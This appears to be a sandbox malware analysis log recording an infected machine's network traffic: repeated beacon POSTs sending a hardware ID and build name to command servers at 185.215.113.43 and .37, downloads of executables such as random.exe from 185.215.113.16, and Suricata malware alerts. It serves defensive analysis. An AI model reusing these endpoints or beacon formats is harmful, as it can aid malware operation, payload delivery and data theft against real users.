Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 32 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001242001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 32 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001243001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJDGIECFCAKKFHIIIJEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 44 47 49 45 43 46 43 41 4b 4b 46 48 49 49 49 4a 45 2d 2d 0d 0a Data Ascii: ------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="hwid"A48588DEC639786254513------JJJDGIECFCAKKFHIIIJEContent-Disposition: form-data; name="build"doma------JJJDGIECFCAKKFHIIIJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 32 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001244001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKFIECBGDHJKECAKFBGHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 49 45 43 42 47 44 48 4a 4b 45 43 41 4b 46 42 47 2d 2d 0d 0a Data Ascii: ------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="hwid"A48588DEC639786254513------CBKFIECBGDHJKECAKFBGContent-Disposition: form-data; name="build"doma------CBKFIECBGDHJKECAKFBG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 32 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001245001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="hwid"A48588DEC639786254513------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="build"doma------JDBKJJKEBGHIDGCBKJJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAKFBGCBFHIJKECGIIJHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 2d 2d 0d 0a Data Ascii: ------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="hwid"A48588DEC639786254513------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="build"doma------HCAKFBGCBFHIJKECGIIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHDHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 2d 2d 0d 0a Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="hwid"A48588DEC639786254513------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="build"doma------KEGCFCAKFHCGCBFHCGHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGDGIDBAAEBFHJKJDGHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 44 47 49 44 42 41 41 45 42 46 48 4a 4b 4a 44 47 2d 2d 0d 0a Data Ascii: ------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="hwid"A48588DEC639786254513------BFBGDGIDBAAEBFHJKJDGContent-Disposition: form-data; name="build"doma------BFBGDGIDBAAEBFHJKJDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAFHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 2d 2d 0d 0a Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="hwid"A48588DEC639786254513------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="build"doma------FIJJKECFCFBGDHIECAAF--

Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49725 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49959 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49981 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49999 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:50005 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50005 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50023 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

